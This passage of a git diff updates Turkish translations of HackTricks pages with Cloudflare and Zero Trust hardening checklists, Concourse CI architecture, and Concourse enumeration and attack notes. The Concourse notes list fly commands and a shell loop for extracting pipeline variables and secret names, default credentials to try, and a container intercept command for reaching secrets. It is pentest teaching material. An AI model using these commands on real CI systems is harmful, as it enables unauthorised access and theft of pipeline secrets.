ayrıcalık ilkesine uyulmasını sağlar. +- [ ] **`Faturalama` -> `Ödeme bilgileri`** kısmında **kredi kartının son 4 hanesini**, **son kullanma** tarihini ve **fatura adresini** görebilirsiniz. +- [ ] **`Faturalama` -> `Abonelikler`** kısmında hesabın kullanılan **plan türünü** görebilirsiniz. +- [ ] **`Üyeler`** kısmında hesabın tüm üyelerini ve onların **rollerini** görebilirsiniz. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar. - Bu nedenle, mümkün olduğunda **Enterprise planı** kullanılması **önerilir**. -- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekir. +- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekmektedir. > [!NOTE] -> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetki artırma veya** yeni üyeler davet etme **mümkün değildir**). +> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetkileri artırma veya** yeni üyeler davet etme **imkanı yoktur**). ## DDoS Soruşturması -[Bu kısmı kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection). +[Burası kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 3a21db0b3..734cb6df7 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -1,4 +1,4 @@ -# Cloudflare Domains +# Cloudflare Alan Adları {{#include ../../banners/hacktricks-training.md}} @@ -6,121 +6,121 @@ Cloudflare'da yapılandırılan her TLD'de bazı **genel ayarlar ve hizmetler**
-### Overview +### Genel Bakış -- [ ] Hesabın **hizmetlerinin ne kadar** **kullanıldığını** anlamak +- [ ] Hesabın hizmetlerinin **ne kadar** **kullanıldığını** anlamak - [ ] Ayrıca **zone ID** ve **account ID** bulmak -### Analytics +### Analitik -- [ ] **`Security`** bölümünde herhangi bir **Rate limiting** olup olmadığını kontrol et +- [ ] **`Güvenlik`** bölümünde herhangi bir **Hız sınırlaması** olup olmadığını kontrol edin ### DNS -- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol et -- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol et -- [ ] **Proxylenmemiş** web sayfalarını kontrol et -- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol et -- [ ] **DNSSEC**'in **etkin** olduğunu kontrol et -- [ ] **Tüm CNAME'lerde** **CNAME Flattening**'in **kullanıldığını** kontrol et +- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol edin +- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol edin +- [ ] **Proxylenmemiş** web sayfalarını kontrol edin +- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol edin +- [ ] **DNSSEC**'in **etkin** olduğunu kontrol edin +- [ ] **Tüm CNAME'lerde** **CNAME Düzleştirme**'nin **kullanıldığını** kontrol edin - Bu, **alt alan adı ele geçirme açıklarını gizlemek** ve yükleme sürelerini iyileştirmek için faydalı olabilir -- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol et +- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol edin -### **Email** +### **E-posta** TODO -### Spectrum +### Spektrum TODO ### SSL/TLS -#### **Overview** +#### **Genel Bakış** -- **SSL/TLS şifrelemesi** **Full** veya **Full (Strict)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir. -- **SSL/TLS Recommender** etkin olmalıdır +- [ ] **SSL/TLS şifrelemesi** **Tam** veya **Tam (Sıkı)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir. +- [ ] **SSL/TLS Önerici** etkin olmalıdır -#### Edge Certificates +#### Kenar Sertifikaları -- **Always Use HTTPS** **etkin** olmalıdır -- **HTTP Strict Transport Security (HSTS)** **etkin** olmalıdır -- **Minimum TLS Versiyonu 1.2** olmalıdır -- **TLS 1.3** **etkin** olmalıdır -- **Automatic HTTPS Rewrites** **etkin** olmalıdır -- **Certificate Transparency Monitoring** **etkin** olmalıdır +- [ ] **Her Zaman HTTPS Kullan** **etkin** olmalıdır +- [ ] **HTTP Sıkı Taşıma Güvenliği (HSTS)** **etkin** olmalıdır +- [ ] **Minimum TLS Sürümü 1.2** olmalıdır +- [ ] **TLS 1.3 etkin** olmalıdır +- [ ] **Otomatik HTTPS Yeniden Yazmaları** **etkin** olmalıdır +- [ ] **Sertifika Şeffaflığı İzleme** **etkin** olmalıdır -### **Security** +### **Güvenlik** -- **`WAF`** bölümünde, **Firewall** ve **rate limiting kurallarının kullanıldığını** kontrol etmek ilginçtir. -- **`Bypass`** eylemi, bir istekte **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır. -- **`Page Shield`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir -- **`API Shield`** bölümünde, Cloudflare'da herhangi bir API açığa çıkmışsa **etkin** olduğunu kontrol etmek önerilir -- **`DDoS`** bölümünde, **DDoS korumalarının** etkinleştirilmesi önerilir -- **`Settings`** bölümünde: -- **`Security Level`**'ın **orta** veya daha yüksek olduğunu kontrol et -- **`Challenge Passage`**'ın en fazla 1 saat olduğunu kontrol et -- **`Browser Integrity Check`**'in **etkin** olduğunu kontrol et -- **`Privacy Pass Support`**'ın **etkin** olduğunu kontrol et +- [ ] **`WAF`** bölümünde, **Firewall** ve **hız sınırlama kurallarının kullanıldığını** kontrol etmek ilginçtir. +- **`Bypass`** eylemi, bir isteğe yönelik **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır. +- [ ] **`Sayfa Kalkanı`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir +- [ ] **`API Kalkanı`** bölümünde, Cloudflare'da herhangi bir API açığa çıkıyorsa **etkin** olduğunu kontrol etmek önerilir +- [ ] **`DDoS`** bölümünde **DDoS korumalarının** etkinleştirilmesi önerilir +- [ ] **`Ayarlar`** bölümünde: +- [ ] **`Güvenlik Seviyesi`** **orta** veya daha yüksek olduğunu kontrol edin +- [ ] **`Meydan Okuma Süresi`** en fazla 1 saat olduğunu kontrol edin +- [ ] **`Tarayıcı Bütünlüğü Kontrolü`** **etkin** olduğunu kontrol edin +- [ ] **`Gizlilik Pass Desteği`** **etkin** olduğunu kontrol edin -#### **CloudFlare DDoS Protection** +#### **CloudFlare DDoS Koruması** -- Eğer mümkünse, **Bot Fight Mode** veya **Super Bot Fight Mode**'u etkinleştir. Programatik olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadan etkinleştiremeyebilirsiniz. -- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **rate limit** oluşturabilirsiniz (Rate limiting kuralları), veya **IP, Cookie, referans** vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya bir çerezi olmayan istekleri engelleyebilirsiniz. -- Eğer saldırı bir **doğrulanmış bot** tarafından geliyorsa, en azından **botlar için bir rate limit** ekleyin. -- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **rate limit** ekleyin. -- **WAF**'daki **Tools** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**. -- **Managed rules**'ın da zafiyet istismarlarını önlemeye yardımcı olup olmadığını kontrol edin. -- **Tools** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz. +- Eğer mümkünse, **Bot Savaş Modu** veya **Süper Bot Savaş Modu**'nu etkinleştirin. Programlı olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadığınız sürece bunu etkinleştiremeyebilirsiniz. +- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **hız sınırlamaları** oluşturabilirsiniz (Hız sınırlama kuralları), veya IP, Çerez, yönlendiren vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya çerezi olmayan istekleri engelleyebilirsiniz. +- Eğer saldırı **doğrulanmış bir bot** tarafından geliyorsa, en azından **botlar için bir hız sınırlaması** ekleyin. +- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **hız sınırlaması** ekleyin. +- **WAF**'daki **Araçlar** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**. +- **Yönetilen kuralların** zafiyet istismarlarını önlemeye yardımcı olup olamayacağını kontrol edin. +- **Araçlar** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz. - DDoS'da bazı kuralları **daha kısıtlayıcı hale getirmek için geçersiz kılabilirsiniz**. -- **Settings**: **Security Level**'ı **Yüksek** ve **Under Attack** olarak ayarlayın eğer saldırı altındaysanız ve **Browser Integrity Check etkin** ise. -- Cloudflare Domains -> Analytics -> Security -> **rate limit**'in etkin olup olmadığını kontrol et -- Cloudflare Domains -> Security -> Events -> **tespit edilen kötü niyetli olaylar** için kontrol et +- **Ayarlar**: **Güvenlik Seviyesi**'ni **Yüksek** ve **Saldırı Altında** olarak ayarlayın eğer Saldırı Altındaysanız ve **Tarayıcı Bütünlüğü Kontrolü etkin** ise. +- Cloudflare Alan Adları -> Analitik -> Güvenlik -> **hız sınırlamasının** etkin olup olmadığını kontrol edin +- Cloudflare Alan Adları -> Güvenlik -> Olaylar -> **tespit edilen kötü niyetli Olaylar** için kontrol edin -### Access +### Erişim {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### Hız _Güvenlikle ilgili herhangi bir seçenek bulamadım_ -### Caching +### Önbellekleme -- **`Configuration`** bölümünde **CSAM Scanning Tool**'un etkinleştirilmesini düşünün +- [ ] **`Yapılandırma`** bölümünde **CSAM Tarama Aracı**'nı etkinleştirmeyi düşünün -### **Workers Routes** +### **Workers Yolları** _Daha önce_ [_cloudflare workers_](./#workers) _kontrol etmiş olmalısınız_ -### Rules +### Kurallar TODO -### Network +### Ağ - [ ] Eğer **`HTTP/2`** **etkinse**, **`HTTP/2 to Origin`** **etkin** olmalıdır -- [ ] **`HTTP/3 (with QUIC)`** **etkin** olmalıdır +- [ ] **`HTTP/3 (QUIC ile)`** **etkin** olmalıdır - [ ] Eğer **kullanıcılarınızın** **gizliliği** önemliyse, **`Onion Routing`**'in **etkin** olduğundan emin olun -### **Traffic** +### **Trafik** TODO -### Custom Pages +### Özel Sayfalar -- Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, rate limiting veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır +- [ ] Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, hız sınırlaması veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır -### Apps +### Uygulamalar TODO ### Scrape Shield -- **Email Address Obfuscation**'ın **etkin** olduğunu kontrol et -- **Server-side Excludes**'ın **etkin** olduğunu kontrol et +- [ ] **E-posta Adresi Gizleme**'nin **etkin** olduğunu kontrol edin +- [ ] **Sunucu tarafı Hariç Tutmalar**'ın **etkin** olduğunu kontrol edin ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 485f38c47..4d73de034 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -19,3 +19,43 @@ Bir **Cloudflare Zero Trust Network** hesabında bazı **ayarlar ve hizmetler** ### Access #### Applications + +Her uygulamada: + +- [ ] **Kimlerin** uygulamaya erişebileceğini **Policies** bölümünde kontrol edin ve **sadece** uygulamaya **erişime ihtiyaç duyan** **kullanıcıların** erişebildiğinden emin olun. +- Erişimi sağlamak için **`Access Groups`** kullanılacak (ve **ek kurallar** da ayarlanabilir) +- [ ] **Mevcut kimlik sağlayıcılarını** kontrol edin ve bunların **çok açık olmadığından** emin olun. +- [ ] **`Settings`** bölümünde: +- [ ] **CORS'un etkin olmadığını** kontrol edin (etkinse, **güvenli** olduğundan ve her şeyi izin vermediğinden emin olun) +- [ ] Çerezlerin **Strict Same-Site** niteliğine, **HTTP Only** olmasına ve uygulama HTTP ise **binding cookie**'nin **etkin** olmasına dikkat edilmelidir. +- Daha iyi **koruma** için **Tarayıcı render'ını** etkinleştirmeyi de düşünün. Daha fazla bilgi için **[**uzaktan tarayıcı izolasyonu burada**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** + +#### **Access Groups** + +- [ ] Oluşturulan erişim gruplarının **doğru bir şekilde kısıtlandığını** kontrol edin. +- [ ] **Varsayılan erişim grubunun çok açık olmadığını** kontrol etmek özellikle önemlidir (çok fazla kişiye **izin vermemelidir**) çünkü **varsayılan** olarak o **gruptaki** herkes **uygulamalara erişebilecektir**. +- **HERKESE** erişim vermenin ve diğer **çok açık politikaların** mümkün olduğunu unutmayın; bunlar %100 gerekli olmadıkça önerilmez. + +#### Service Auth + +- [ ] Tüm hizmet jetonlarının **1 yıl veya daha kısa sürede** süresinin dolduğunu kontrol edin. + +#### Tunnels + +TODO + +### My Team + +TODO + +### Logs + +- [ ] Kullanıcılardan **beklenmedik eylemler** arayabilirsiniz. + +### Settings + +- [ ] **Plan türünü** kontrol edin. +- [ ] **Kredi kartı sahibi adı**, **son 4 haneler**, **son kullanma** tarihi ve **adres** görülebilir. +- Bu hizmeti gerçekten kullanmayan kullanıcıları kaldırmak için **Bir Kullanıcı Koltuğu Süresi** eklemeniz önerilir. + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 3a3535e7f..ec581b762 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -8,7 +8,7 @@ Concourse, ihtiyaç duyduğunuzda (zaman bazlı, bir şey olduğunda...) testler ## Concourse Mimarisi -Concourse ortamının nasıl yapılandırıldığını öğrenin: +Concourse ortamının nasıl yapılandığını öğrenin: {{#ref}} concourse-architecture.md @@ -24,7 +24,7 @@ concourse-lab-creation.md ## Concourse'u Sayısal Olarak Belirleme ve Saldırı -Concourse ortamını nasıl belirleyip istismar edebileceğinizi öğrenin: +Concourse ortamını nasıl sayısal olarak belirleyip istismar edebileceğinizi öğrenin: {{#ref}} concourse-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 62baf9451..77c1284e3 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -10,15 +10,15 @@ ![](<../../images/image (187).png>) -#### ATC: web UI & derleme zamanlayıcı +#### ATC: web UI & build zamanlayıcı -ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (derleme günlükleri dahil) saklamak için kullanır. +ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (build günlükleri dahil) depolamak için kullanır. -[checker](https://concourse-ci.org/checker.html)'ın sorumluluğu, kaynakların yeni sürümlerini sürekli kontrol etmektir. [scheduler](https://concourse-ci.org/scheduler.html) bir iş için derlemeleri zamanlamaktan sorumludur ve [build tracker](https://concourse-ci.org/build-tracker.html) herhangi bir planlanmış derlemeyi çalıştırmaktan sorumludur. [garbage collector](https://concourse-ci.org/garbage-collector.html) ise kullanılmayan veya eski nesneleri, örneğin konteynerler ve hacimler, kaldırmak için temizlik mekanizmasıdır. +[Checker](https://concourse-ci.org/checker.html), kaynakların yeni sürümlerini sürekli kontrol etmekten sorumludur. [Zamanlayıcı](https://concourse-ci.org/scheduler.html), bir iş için build'leri zamanlamaktan sorumludur ve [build izleyici](https://concourse-ci.org/build-tracker.html), herhangi bir zamanlanmış build'i çalıştırmaktan sorumludur. [Çöp toplayıcı](https://concourse-ci.org/garbage-collector.html), kullanılmayan veya güncel olmayan nesneleri, örneğin konteynerler ve hacimler gibi, kaldırmak için temizlik mekanizmasıdır. #### TSA: işçi kaydı & yönlendirme -TSA, yalnızca [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile güvenli bir şekilde **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**. +TSA, yalnızca güvenli bir şekilde [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**. TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://concourse-ci.org/internals.html#component-atc) ile birlikte yer alır ve bir yük dengeleyicinin arkasında bulunur. @@ -28,8 +28,8 @@ TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://c Görevleri yerine getirmek için Concourse'un bazı işçilere sahip olması gerekir. Bu işçiler, [TSA](https://concourse-ci.org/internals.html#component-tsa) aracılığıyla **kendilerini kaydeder** ve [**Garden**](https://github.com/cloudfoundry-incubator/garden) ve [**Baggageclaim**](https://github.com/concourse/baggageclaim) hizmetlerini çalıştırır. -- **Garden**: Bu, genellikle **HTTP** üzerinden **port 7777**'de çalışan **Konteyner Yönetim API**'sidir. -- **Baggageclaim**: Bu, genellikle **HTTP** üzerinden **port 7788**'de çalışan **Hacim Yönetim API**'sidir. +- **Garden**: Bu, **Konteyner Yönetim API**'sidir, genellikle **HTTP** üzerinden **port 7777**'de çalışır. +- **Baggageclaim**: Bu, **Hacim Yönetim API**'sidir, genellikle **HTTP** üzerinden **port 7788**'de çalışır. ## Referanslar diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 19af05e04..d9932902a 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -8,23 +8,23 @@ Concourse beş rol ile gelir: -- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Yöneticiler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez. +- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Adminler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez. - **sahip**: Takım sahipleri **takım içindeki her şeyi değiştirebilir**. - **üye**: Takım üyeleri **takım varlıkları içinde okuyabilir ve yazabilir** ancak takım ayarlarını değiştiremez. - **pipeline-operator**: Pipeline operatörleri **pipeline işlemleri** gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler. - **görüntüleyici**: Takım görüntüleyicileri bir takıma ve onun pipeline'larına **"salt okunur" erişime** sahiptir. > [!NOTE] -> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) okuyun. +> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Concourse'un **pipeline'ları Takımlar içinde grupladığını** unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecek ve **birden fazla Takım** var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir. ### Vars & Credential Manager YAML yapılandırmalarında değerleri `((_source-name_:_secret-path_._secret-field_))` sözdizimini kullanarak yapılandırabilirsiniz.\ -[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik bilgisi yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\ -**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik bilgisi yöneticisi, alan mevcutsa alınan kimlik bilgisinden 'varsayılan alan' okumayı seçebilir.\ -Ayrıca, _**secret-path**_ ve _**secret-field**_ `.` ve `:` gibi **özel karakterler** içeriyorsa çift tırnak `"..."` ile çevrilebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır. +[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\ +**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik yöneticisi, alan mevcutsa alınan kimlikten 'varsayılan alanı' okumayı seçebilir.\ +Ayrıca, _**secret-path**_ ve _**secret-field**_ özel karakterler içeriyorsa `"` ile çevrelenebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır. #### Statik Vars @@ -34,16 +34,16 @@ Statik vars **görev adımlarında** belirtilebilir: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +Or aşağıdaki `fly` **argümanlarını** kullanarak: -- `-v` or `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar. -- `-y` or `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar. -- `-i` or `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Örnek değişkenleri hakkında daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasına bakın. -- `-l` or `--load-vars-from` `FILE` `FILE`'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar. +- `-v` veya `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar. +- `-y` veya `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar. +- `-i` veya `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasını okuyun. +- `-l` veya `--load-vars-from` `FILE` `FILE`'yi yükler, bu bir değer ile eşleştirilmiş değişken adlarını içeren bir YAML belgesidir ve hepsini ayarlar. -#### Credential Management +#### Kimlik Bilgisi Yönetimi -Bir **Credential Manager**'ın bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\ +Bir **Kimlik Bilgisi Yöneticisi**'nin bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\ Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) @@ -59,13 +59,13 @@ Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler: > [!CAUTION] > Eğer **Concourse'a yazma erişiminiz** varsa, bu gizli bilgileri **sızdırmak için işler oluşturabilirsiniz** çünkü Concourse bunlara erişebilmelidir. -### Concourse Enumeration +### Concourse Sayım -Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama token'ı** bulmanız gerekir. +Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama jetonu** bulmanız gerekir. -#### Login and Current User enum +#### Giriş ve Mevcut Kullanıcı sayımı -- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takımı** bilmeniz gerekir: +- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takım**'ı bilmeniz gerekir: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Yapılandırılmış **hedefleri** alın: - `fly targets` @@ -75,9 +75,9 @@ Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplam - `fly -t userinfo` > [!NOTE] -> **API token'ının** varsayılan olarak `$HOME/.flyrc` içinde **kaydedildiğini** unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz. +> **API jetonu** varsayılan olarak `$HOME/.flyrc` içinde **kaydedilir**, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz. -#### Teams & Users +#### Takımlar & Kullanıcılar - Takımların bir listesini alın - `fly -t teams` @@ -86,15 +86,15 @@ Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplam - Kullanıcıların bir listesini alın - `fly -t active-users` -#### Pipelines +#### Pipeline'lar -- **List** pipeline'lar: +- **Listele** pipeline'lar: - `fly -t pipelines -a` -- **Get** pipeline yaml (**hassas bilgiler** tanımda bulunabilir): +- Pipeline yaml'ını **al** (**hassas bilgiler** tanımda bulunabilir): - `fly -t get-pipeline -p ` -- Tüm pipeline **yapılandırma değişkenlerini** alın +- Tüm pipeline **yapılandırma bildirilen değişkenlerini** al - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Kullanılan tüm **pipeline gizli adlarını** alın (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz): +- Kullanılan tüm **pipeline gizli adlarını** al (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -109,27 +109,27 @@ rm /tmp/secrets.txt ``` #### Containers & Workers -- **worker'ları** listele: +- **workers** listesini al: - `fly -t workers` -- **container'ları** listele: +- **containers** listesini al: - `fly -t containers` -- **build'leri** listele (ne olduğunu görmek için): +- **builds** listesini al (çalışanları görmek için): - `fly -t builds` ### Concourse Saldırıları -#### Kimlik Bilgileri Kaba Kuvvet +#### Kimlik Bilgileri Brute-Force - admin:admin - test:test -#### Gizli Bilgiler ve parametrelerin listelenmesi +#### Gizli Anahtarlar ve Parametrelerin Sıralanması -Önceki bölümde, pipeline tarafından kullanılan **tüm gizli isimleri ve değişkenleri** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgiler içerebilir** ve **gizli bilgilerin isimleri** daha sonra **çalmaya çalışmak için** faydalı olacaktır. +Önceki bölümde, pipeline tarafından kullanılan **tüm gizli anahtarların isimlerini ve değişkenlerini** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgileri içerebilir** ve **gizli anahtarların isimleri** daha sonra onları çalmaya çalışmak için faydalı olacaktır. -#### Çalışan veya yakın zamanda çalışmış container içinde oturum +#### Çalışan veya yakın zamanda çalışmış bir konteyner içinde oturum -Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri** listeleyebilir ve sadece `/` **container'ında** bir **oturum açabilirsiniz**: +Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri listeleyebilir** ve sadece `/` **konteyneri içinde bir oturum** açabilirsiniz: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -138,7 +138,7 @@ Bu izinlerle şunları yapabilirsiniz: - **Konteynerin** içindeki **gizli bilgileri 